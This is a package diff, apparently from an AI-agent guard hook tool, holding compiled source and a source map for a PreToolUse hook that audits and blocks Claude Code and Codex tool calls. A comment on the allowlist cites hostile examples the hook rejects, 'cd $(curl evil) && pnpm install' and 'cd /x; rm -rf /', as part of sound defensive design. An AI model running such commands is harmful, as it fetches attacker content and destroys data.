'./agent-response';\nimport { HookOutcome, HookTerminated } from '@webpieces/hook-runtime';\nimport { AgentPayload, AgentPayloadParser } from '@webpieces/hook-runtime';\nimport { AgentAdapters } from '@webpieces/hook-runtime';\nimport { detectAiType } from '@webpieces/hook-runtime';\nimport { CodexSubagentSharedTreeGuard, CODEX_SUBAGENT_RULE } from './codex-subagent-guard';\nimport { ReviewIdentityStamper } from './review-identity-stamper';\nimport { governingShimRoot, isAllowed, installedShimRulesVersion } from '../bin/shim';\nimport { managedSurfaceDrift } from '../bin/hook-registration';\nimport { shimStaleDenyReason } from '../bin/shim-deny-reason';\nimport { writeGuardMatrixDoc, guardMatrixPointer } from '../core/l0-matrix';\nimport { logStream, StreamIdentity } from '../core/log-stream';\nimport { aiTypeContext } from '../core/ai-type-context';\nimport { L0_FAULT_SHIM_STALE, L0_FAULT_NONE } from '@webpieces/rules-config';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst ADAPTERS = new AgentAdapters();\nconst SUBAGENT_GUARD = new CodexSubagentSharedTreeGuard();\nconst REVIEW_IDENTITY_STAMPER = new ReviewIdentityStamper();\n\n// The rule name for a block's audit line: the FIRST rule the report cites, or `fallback` when the\n// report opens with no `[rule]` header (a hand-written guard message). Comma-joined when a report\n// cites several, so `rule=` never silently drops one.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction blockingRule(report: string, fallback: string): string {\n const names = extractRuleNames(report);\n return names.length > 0 ? names.join(',') : fallback;\n}\n\n// webpieces-disable no-function-outside-class -- sibling of handleRead()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleBash(event: AgentHookEvent, cwd: string, mode: HookMode): never {\n const command = event.bash === null ? '' : event.bash.command;\n if (command.trim() === '') { emitAllow(); }\n\n // READ PARITY, and it can only ever be reached from a Codex event: the adapter leaves `reads`\n // empty for Claude Code, which has a real `Read` tool and its own fast path. A Codex read arrives\n // as `Bash` running a pager, so without this the read guard and the `calls/` audit trail see none\n // of them. The command is STILL run through the bash guards below — this adds a verdict, it never\n // replaces one.\n for (const readPath of event.reads) {\n handleRead(event, readPath, cwd, mode);\n }\n\n // The HARNESS travels with the command. Fault C and fault Y are decided inside the runner, and\n // both consult the L0 allowlist — which since the gated entry exists cannot be asked without\n // knowing who is calling. `event.aiType` is the adapter's answer, the same one that routed this\n // call to the Codex read-parity loop above.\n const result = runBash(command, cwd, mode, event.aiType);\n if (!result) {\n // ALLOWED — so if this call submits a reviewer verdict, record who is submitting it before the\n // command runs. `wp-write-review` cannot learn that from its env (see ReviewIdentityStamper).\n REVIEW_IDENTITY_STAMPER.stamp(event, command, cwd);\n emitAllow();\n }\n // NO DECISION LINE HERE. This used to write a generic `bash-guard` line because a Bash deny once\n // had no audit trail at all — but every layer now records its own: L1 into `L1-location/` with its\n // row, L2's guards into `L2-decisions/` with their rule and cache, and emitDeny below stamps the\n // call-level outcome onto `calls/`. So this was the THIRD line for one block, and the worst of the\n // three: it re-resolved the root from `cwd` via RepoRootFinder, which is not necessarily the tree\n // the guard actually judged, so a `cd`-relocated command scattered one block across two different\n // `.webpieces` directories.\n //\n // Bash deny → the event's kind is 'Bash', so denyJson adds the ANSI-red systemMessage (the only\n // field a Bash deny shows the human; permissionDecisionReason is invisible on Bash). See\n // agent-response.ts.\n emitDeny(event, result.report, blockingRule(result.report, 'bash-guard'), result.fault);\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(event: AgentHookEvent, filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(event, result.report, blockingRule(result.report, 'read-guard'), result.fault);\n}\n\n/**\n * Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped guard\n * (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule ever sees a\n * Read, and the only way this path can deny is a stale `main`. The audit trail still records every\n * file the AI opened (see setup.ts).\n *\n * Returns normally ONLY when the event is not a Read; otherwise it ends the invocation.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleReadFastPath(event: AgentHookEvent, cwd: string, mode: HookMode): void {\n if (event.kind !== 'Read') return;\n const readPath = event.reads.length > 0 ? event.reads[0] : '';\n if (mode !== 'rules') {\n invocationLog.begin(cwd, event.rawToolName, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n // Judged on the session cwd's branch, read from its HEAD file (no git process, #1361).\n // read-stale-guard then claims again for the tree that owns the FILE, which may be another\n // worktree on a branch the cache has never seen; the latch is per branch, so that is heard.\n const branch = gitCheckout.branch(cwd);\n if (branch !== null) triggerMainSyncRefresh(cwd, branch, branchStateHangTimeoutFor(cwd));\n }\n handleRead(event, readPath, cwd, mode);\n emitAllow();\n}\n\n/**\n * The file/edit pipeline, run once per file the call touches.\n *\n * `event.files` is a LIST because ONE Codex `apply_patch` carries many files with mixed operations.\n * A Claude Code event always has exactly one entry, so the loop runs once and the behaviour is the\n * single-file behaviour it has always had.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleRead() in this module; the adapter is module-scope functions by design\nfunction handleFileTool(event: AgentHookEvent, cwd: string, mode: HookMode): never {\n if (event.files.length === 0) { emitAllow(); }\n\n // A Codex SUBAGENT writing into the tree it shares with its coordinator. Returns null for every\n // Claude Code event — that harness can hand a subagent its own worktree, and does.\n const subagentBlock = SUBAGENT_GUARD.check(event, new RepoRootFinder().resolveRepoRoot(cwd));\n if (subagentBlock) {\n emitDeny(event, subagentBlock.report, CODEX_SUBAGENT_RULE, subagentBlock.fault);\n }\n\n for (const file of event.files) {\n handleOneFile(event, file, cwd, mode);\n }\n emitAllow();\n}\n\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleOneFile(event: AgentHookEvent, file: FileOperation, cwd: string, mode: HookMode): void {\n const input = file.input;\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This returns BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n // In place only: a Codex `*** Move to: webpieces.config.json` still deletes its source (#1448).\n if (input.sourcePath === input.filePath && path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', file.toolKind, input.filePath, branchForLog(root), 'ALLOW_EXEMPT', 'config-bypass (feature-branch-guard skipped)', '-', L0_FAULT_NONE, matrixL2Row('config-bypass (feature-branch-guard skipped)')),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n const branch = gitCheckout.branch(root);\n if (branch !== null) triggerMainSyncRefresh(root, branch, branchStateHangTimeoutFor(cwd));\n }\n return;\n }\n\n const result = run(file.toolKind, input, cwd, mode);\n if (!result) return;\n\n logRejection(file.toolKind, input, result, cwd);\n // File-tool deny → the event's kind is 'File', so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See agent-response.ts.\n emitDeny(event, result.report, blockingRule(result.report, 'file-guard'), result.fault);\n}\n\n// What a stale committed shim lets through — now a thin adapter over the ONE L0 allowlist (isAllowed in\n// ../bin/shim), not a list of its own. A stale shim must NEVER trap the actions needed to recover: the\n// original \"block everything but the cures\" version also shadowed the always-allowed\n// webpieces.config.json edit (handleFileTool) and blocked reads, so a repo that ALSO needed its config\n// fixed would deadlock — blocked from editing the one file whose edit is normally always allowed, and\n// blocked from reading it to know how.\n//\n// It used to carry its OWN narrower list (isShimCureCommand: the three shim cures only), and that\n// narrowness was a defect, not a safety property: `pnpm install` and `git pull` — the two commands that\n// resolve the version disagreement underneath a stale shim — were denied. Consulting the shared\n// allowlist fixes that by construction.\n//\n// What is NOT a defect, and must not be \"fixed\": those cures rewrite the committed shim from the\n// INSTALLED binary's renderShim(), overwriting whatever was there. That is the invariant, not\n// collateral damage. The shim (D/X/K, in POSIX sh, pre-binary) and this binary (S/C/Y, in JS) are two\n// halves of ONE L0 and they exchange assumptions — the shim parses file_path and carries ALLOW-READ /\n// ALLOW-CONFIG entries this binary relies on. Pair a binary with a shim rendered by a DIFFERENT\n// release and L0 acquires holes that nothing reports. So the rule is absolute: the committed shim\n// equals renderShim() of the binary in node_modules, and a cure that forces that is the cure working.\n// See healShim's header, which states the same invariant from the other side.\n//\n// Corollary for anyone regenerating the shim in a webpieces PR: commit `templates/ai-hook.sh` (source,\n// locked to renderShim() by unit test) and leave `.claude/webpieces/ai-hook.sh` (generated artifact)\n// alone. In THIS repo the local source runs ahead of the pinned node_modules, so committing a shim\n// rendered from local source produces a commit whose shim and whose @webpieces pin come from different\n// releases — precisely the mismatch above. The artifact heals on the next upgrade; that is its job.\n//\n// - 'allow-cure' → a Bash cure on the allowlist: emitAllow directly, bypassing the git guards.\n// - 'pass' → a recovery action the normal flow already permits, so fall THROUGH and let it: ANY\n// Read (you must read to know how to fix — see handleRead, which itself fails open),\n// or an edit to webpieces.config.json (the always-allowed recovery target).\n// - 'deny' → all OTHER work: blocked until the committed shim matches renderShim() again.\nexport type ShimStaleDecision = 'allow-cure' | 'pass' | 'deny';\n// webpieces-disable no-function-outside-class -- pure decision helper beside the adapter's other module-scope functions; exported for direct unit testing.\nexport function shimStaleRecoveryDecision(toolName: string, command: string, filePath: string, aiType: AiType): ShimStaleDecision {\n const allowed = isAllowed(toolName, command, filePath, aiType);\n if (allowed === 'pass') return 'pass';\n if (allowed === 'allow') return 'allow-cure';\n return 'deny';\n}\n\n// MANAGED-HOOK-SURFACE self-guard, moved here from the rendered shim (2026-07-24) and widened from one\n// file to three (2026-08-07). The committed\n// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer\n// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be\n// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here\n// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,\n// since the check lived in the very file it guarded and a fix could only ship by regenerating that\n// file. Now we fail closed on all real WORK while always leaving the recovery path open (see\n// shimStaleRecoveryDecision): the whole L0 allowlist, any Read, and editing webpieces.config.json. We deny +\n// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the\n// shim). Returns normally (pass / nothing to do) or exits via emitAllow/emitDeny.\n//\n// It asks the allowlist about the RAW WIRE FIELDS, not about the normalized event, and that ordering is\n// deliberate: L0 has to hold on a tree too broken to trust anything above it, including the adapters.\n// The raw fields are the same key names in both harnesses (measured), so one reading serves both, and\n// the answer cannot change because a normalizer changed. `event` is here only to decorate the deny.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction enforceCommittedShim(payload: AgentPayload, event: AgentHookEvent, cwd: string, mode: HookMode): void {\n // ONE root for the whole decision, resolved from the RUNNING MODULE (governingShimRoot), never from\n // `cwd`: the shim file we compare and the renderShim() we compare it TO must come from the same\n // install, or the check straddles two trees and can never converge (see governingShimRoot's header).\n // `cwd` still selects where the L0 matrix doc is dropped — that is a \"where does the AI read\" question,\n // not part of the judgement.\n const shimRoot = governingShimRoot();\n if (mode === 'rules') return;\n // WHICH of the managed things moved — ai-hook.sh, either harness's hook registration\n // (.claude/settings.json, .codex/hooks.json), or the Claude settings' managed env entry (the\n // Bash-cwd pin that keeps a guard's verdict independent of where an earlier `cd` left the shell;\n // see managed-env.ts). Nothing validated the registration before it joined this\n // fault, so a settings file left on a superseded form silently changed WHO GOVERNS, with no signal\n // anywhere — which is the whole reason the registration is a drift surface and not just an install\n // step.\n const drifted = managedSurfaceDrift(shimRoot);\n if (drifted.length === 0) return;\n // The harness comes from the RAW envelope too — `detectAiType` asks one question of one key, so it\n // is as trustworthy here as the wire fields beside it, and it is the PRECISE test the shim's sh half\n // can only approximate. Reading it off the normalized event instead would put a normalizer between\n // L0 and its decision, which is the coupling the paragraph above exists to refuse.\n const decision = shimStaleRecoveryDecision(\n payload.tool_name, payload.tool_input.command ?? '', payload.tool_input.file_path ?? '',\n detectAiType(payload));\n if (decision === 'pass') return;\n if (decision === 'allow-cure') emitAllow();\n // Drop the L0 matrix doc where the AI can read it and point the deny at it — a Read is entry 1 of\n // the same allowlist, so the pointer is always followable. Best-effort: no doc → no pointer.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n const docPath = writeGuardMatrixDoc(root);\n // WRITE THE AUDIT LINE HERE. This block happens BEFORE invocationLog.begin() — it has to, since a\n // stale shim invalidates everything downstream — so emitDeny's flush finds nothing pending and an\n // `S` storm left NO trace at all: the one fault most likely to block twenty consecutive tool calls\n // was the one fault the trail could not show. A decision line is the fix that costs no reordering.\n const target = payload.tool_input.command ?? payload.tool_input.file_path ?? '';\n logGuardDecision(\n root,\n new GuardDecision('committed-shim-stale', payload.tool_name, target, branchForLog(root), 'BLOCK_AI_CURE', 'L0 fault S (committed shim != renderShim)', '-', L0_FAULT_SHIM_STALE, MATRIX_L0_BLOCK),\n );\n // L0 fault S in GUARD_MATRIX.md's codebook — named as the blocking rule so the invocation line\n // says WHAT stopped the call, not merely that something did, and stamped as `fault=S` so the same\n // grep finds it here as in the sh half's `L0-shim/` stream.\n // A subagent is discriminated by `agent_id`, which BOTH harnesses populate on stdin only off the\n // main loop (main falls back to the session id / leaves it empty). Its cure differs: the hooks\n // blocking it resolve through CLAUDE_PROJECT_DIR, which names the MAIN tree.\n const inSubagent = event.agentId !== '';\n emitDeny(event, shimStaleDenyReason(installedShimRulesVersion(), shimRoot ?? '', drifted, inSubagent) + guardMatrixPointer(docPath), 'committed-shim-stale', L0_FAULT_SHIM_STALE);\n}\n\n/**\n * THE PIPELINE, from raw stdin bytes to the decision — the whole of `parse -> adapter -> runner ->\n * emit`, as ONE function returning ONE value.\n *\n * `mode` selects which tool kinds to validate; payloads outside the mode's scope pass through\n * (emitAllow). A block is a PreToolUse `permissionDecision:\"deny\"` JSON on stdout with exit 0 — see\n * agent-response.ts. Fails CLOSED on any unexpected crash (returns a deny) so a broken hook never\n * silently lets an edit through, and the reason surfaces in the agent's UI instead of being hidden on\n * a stderr+exit-2 block.\n *\n * It reads NO stdin, writes NO stdout and calls NO exit: those three couplings are ports owned by\n * HookApp (see hook-ports.ts), which is what makes the composed pipeline drivable from a test. This\n * function is what `runMain` was; it is not a second spelling of it — `runMain` is deleted, and\n * `HookApp.run()` is the only entry point.\n */\n// webpieces-disable no-function-outside-class -- the module-scope hook body itself, sibling of handleBash()/handleFileTool(); the adapter is module-scope functions by design and must stay callable from a tree too broken to build a DI container\nexport function runPipeline(raw: string, mode: HookMode): HookOutcome {\n // Captured as soon as the ENVELOPE parses so the fail-closed catch below can tell denyJson which\n // kind of call it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Null (before parse / malformed input) → treated as non-Bash.\n let event: AgentHookEvent | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const payload = new AgentPayloadParser().parse(raw);\n if (!payload) { emitAllow(); }\n // The envelope shape first: it reads only `tool_name` and the identity fields, so it cannot\n // fail, and it is what the crash path needs. The full normalization below reads `tool_input`\n // and CAN fail (a malformed Codex patch envelope denies rather than being half-understood).\n event = ADAPTERS.envelope(payload);\n\n // BEFORE enforceCommittedShim(), which can itself write a BLOCK line. See LogStream for why\n // all three of session/agent/hook are needed to keep concurrent writers off one file.\n logStream.identify(new StreamIdentity(event.sessionId, event.agentId, mode));\n // Same moment, same reason: every JS-side stream stamps `ai=`, and the fault-S line written\n // inside enforceCommittedShim() is one of them. See AiTypeContext for why the harness is a\n // process-wide holder rather than a parameter on four writers.\n aiTypeContext.identify(event.aiType);\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Committed-shim self-guard: blocks real work while the committed shim is stale, but keeps the\n // recovery path open (cures, reads, config edit). See enforceCommittedShim / shimStaleRecoveryDecision.\n enforceCommittedShim(payload, event, cwd, mode);\n\n event = ADAPTERS.toEvent(payload, cwd);\n\n // Read-only tools: their own fast path, which never returns when it applies.\n handleReadFastPath(event, cwd, mode);\n\n // Per-invocation guard log (the `calls/` stream): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;\n // never blocks the call. (The committed shim is no longer silently healed here — a mismatch is\n // reported by the self-guard above, not rewritten out from under the AI.)\n if (mode !== 'rules') {\n invocationLog.begin(cwd, event.rawToolName, logTarget(event));\n }\n\n if (event.kind === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(event, cwd, mode);\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(event, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n // The pipeline's own terminal control flow, not a failure: emitAllow/emitDeny threw the answer\n // out to here from wherever they were called. Treating it as a crash would turn every allow\n // into a deny, so this branch comes FIRST and returns the carried outcome verbatim.\n if (error instanceof HookTerminated) return error.outcome;\n return denyForCrash(error, event);\n }\n}\n\n// What the `calls/` audit line names as the call's target: the command for a shell call, else the first\n// file it touches. A Codex `apply_patch` touching several files names the first — the rejection log and\n// the decision log carry the rest, per file.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope hook entry points in this adapter\nfunction logTarget(event: AgentHookEvent): string {\n if (event.kind === 'Bash') return event.bash === null ? '' : event.bash.command;\n return event.files.length > 0 ? event.files[0].input.filePath : '';\n}\n\n/**\n * The fail-closed boundary for anything that escaped the hook body. An escaped RuleFailError (a rule\n * that threw past the runner's per-rule catch) or an InformAiError (bad config/stdin, or a Codex patch\n * envelope this parser refuses to guess at) both carry an AI-readable message; anything else is an\n * unexpected bug. All three DENY and surface their reason, because a hook that crashed established\n * nothing and must never be read as an allow.\n *\n * It BUILDS the deny (denyOutcome) rather than throwing it (emitDeny), because it is already inside\n * the catch that the throw would land in — see HookTerminated. Same bytes either way.\n */\n// webpieces-disable no-function-outside-class -- sibling of the module-scope hook entry points in this adapter; a lone class for one terminal boundary would break the file's shape\nfunction denyForCrash(error: Error, event: AgentHookEvent | null): HookOutcome {\n if (error instanceof RuleFailError) {\n return denyOutcome(event, renderRuleFailForAi(error), 'rule-crash');\n }\n if (error instanceof InformAiError) {\n return denyOutcome(event, error.message, 'bad-config-or-stdin');\n }\n return denyOutcome(event, `[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, 'hook-crash');\n}\n"]}
|
package/src/bin/l0-allowlist.js
CHANGED
|
@@ -410,7 +410,10 @@ exports.L0_ALLOWLIST = [
|
|
|
410
410
|
// has nothing to judge". See L0_IGNORED_TOOLS for why the list is explicit and why `apply_patch`
|
|
411
411
|
// (Codex's only WRITE) is deliberately not on it.
|
|
412
412
|
new l0_entry_1.L0AllowEntry(`a Codex tool with nothing to judge: ${[...l0_ignored_tools_1.L0_IGNORED_TOOLS].join(', ')}`, 'pass', false, null, null, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('update_plan', '', ''), [new l0_entry_1.L0Call('view_image', '', ''), new l0_entry_1.L0Call('webrun', '', '')]),
|
|
413
|
-
|
|
413
|
+
// EDIT-SHAPED, for BOTH harnesses' edit tools (#1448): Codex has no Write/Edit, so its only spelling
|
|
414
|
+
// of this cure is an `apply_patch` — pinned below as a sample, including the namespace-qualified
|
|
415
|
+
// name, so the entry cannot again promise an edit the entrypoint refuses.
|
|
416
|
+
new l0_entry_1.L0AllowEntry(`${rules_config_3.EDIT_TOOLS_PHRASE} ${rules_config_3.CONFIG_FILENAME} or a .webpieces-config/ file`, 'pass', false, null, null, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Edit', '', `/repo/${rules_config_3.CONFIG_FILENAME}`), [new l0_entry_1.L0Call('apply_patch', `*** Begin Patch\n*** Update File: /repo/${rules_config_3.CONFIG_FILENAME}\n@@\n-{}\n+{}\n*** End Patch`, '')]),
|
|
414
417
|
// THE MANIFEST ESCAPE, and it is an escape L1 row 8 already PROMISED before it existed. Its report
|
|
415
418
|
// says "STILL ALLOWED HERE: ... edits to pnpm-workspace.yaml / package.json / webpieces.config.json"
|
|
416
419
|
// and its docblock calls that one of "two structurally independent escapes" — but only
|
|
@@ -427,7 +430,11 @@ exports.L0_ALLOWLIST = [
|
|
|
427
430
|
// The runner carves the same two files out on its own edit path (an early `return null`, beside the
|
|
428
431
|
// webpieces.config.json pass). Scoped by isRootManifest, so it admits the root of the MAIN tree and
|
|
429
432
|
// of every worktree — and no other package.json in the repo.
|
|
430
|
-
new l0_entry_1.L0AllowEntry(
|
|
433
|
+
new l0_entry_1.L0AllowEntry(`${rules_config_3.EDIT_TOOLS_PHRASE} a tree ROOT's ${rules_config_2.WORKSPACE_MANIFEST} or ${rules_config_1.PACKAGE_MANIFEST} - the version pin and patchedDependencies`, 'pass', false, null, null, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Edit', '', `/repo/${rules_config_2.WORKSPACE_MANIFEST}`), [
|
|
434
|
+
new l0_entry_1.L0Call('Write', '', `/repo/${rules_config_1.PACKAGE_MANIFEST}`),
|
|
435
|
+
new l0_entry_1.L0Call('apply_patch', `*** Begin Patch\n*** Update File: /repo/${rules_config_2.WORKSPACE_MANIFEST}\n@@\n-a\n+b\n*** End Patch`, ''),
|
|
436
|
+
new l0_entry_1.L0Call('functions.apply_patch', `*** Begin Patch\n*** Update File: /repo/${rules_config_1.PACKAGE_MANIFEST}\n@@\n-a\n+b\n*** Update File: /repo/${rules_config_2.WORKSPACE_MANIFEST}\n@@\n-a\n+b\n*** End Patch`, ''),
|
|
437
|
+
]),
|
|
431
438
|
new l0_entry_1.L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', 'pnpm install', '')),
|
|
432
439
|
new l0_entry_1.L0AllowEntry(`${exports.RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS, l0_entry_1.EVERY_HARNESS, new l0_entry_1.L0Call('Bash', exports.RECOVERY_CMD, '')),
|
|
433
440
|
// webpieces-disable no-fetch -- prose naming the git sync subcommand in a doc label, not an HTTP call
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/agent-workflow-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":";;;AAAA,8DAAiE;AACjE,0DAA2D;AAC3D,0DAA6D;AAC7D,0DAAiF;AAEjF,mGAAmG;AACnG,8DAA8D;AAC9D,yCAAiE;AACjE,qGAAqG;AACrG,mGAAmG;AACnG,kFAAkF;AAClF,mDAA0F;AAC1F,mFAA2E;AAE3E,iGAAiG;AACjG,uGAAuG;AACvG,mFAAmF;AACnF,yDAAsD;AAEtD,wGAAwG;AACxG,yGAAyG;AAEzG,8EAA8E;AAC9E,uGAAuG;AACvG,oFAAoF;AACpF,EAAE;AACF,+FAA+F;AAC/F,+FAA+F;AAC/F,mGAAmG;AACnG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mGAAmG;AACnG,uGAAuG;AACvG,EAAE;AACF,qGAAqG;AACrG,wGAAwG;AACxG,wGAAwG;AACxG,MAAM,iBAAiB,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CACzE,CAAC,CAAC,EAAE,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,CAAC,OAAO,KAAK,wBAAa,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACxE,CAAC;AACW,QAAA,gBAAgB,GACzB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,iBAAiB,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC","sourcesContent":["import { MIGRATE_DIRS_COMMAND } from '@webpieces/tooling-common';\nimport { PACKAGE_MANIFEST } from '@webpieces/rules-config';\nimport { WORKSPACE_MANIFEST } from '@webpieces/rules-config';\nimport { CONFIG_FILENAME, PRUNE_UNKNOWN_COMMAND } from '@webpieces/rules-config';\n\n// The shape of ONE entry, in its own module so the LIST below is not crowded out by the types that\n// describe it. `./shim` stars both, so consumers see no seam.\nimport { EVERY_HARNESS, L0AllowEntry, L0Call } from './l0-entry';\n// The harness-GATED half of L0, in its own module for the same size reason this one was split out of\n// ./shim. It owns the read-shaped vocabulary AND the union built from it; this file owns the entry\n// that puts it on the list, so the dependency runs one way and there is no cycle.\nimport { CODEX_READ_BODY_ERE, CODEX_READ_BODY_JS, CODEX_READ_CMD } from './l0-codex-read';\nimport { READ_COMMANDS } from '@webpieces/hook-runtime/harness-vocabulary';\n\n// The tool-shaped half of the same list, in its own module so BOTH L0 halves can read it without\n// importing each other. NOT re-exported from here — `./shim` is the ONE name that gathers L0 (it stars\n// all three modules), and a second path to the same constant is a second spelling.\nimport { L0_IGNORED_TOOLS } from './l0-ignored-tools';\n\n// The two MANIFESTS a version pin lives in, named once so the allowlist, isAllowed(), the rendered shim\n// and the runner cannot drift into four spellings. See isRootManifest: a tree ROOT's copy of these only.\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// Cures tolerate output-only stderr redirection and a numeric head/tail pipe. This keeps\n// ordinary diagnostic capture usable without granting arbitrary pipelines or mutations.\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the 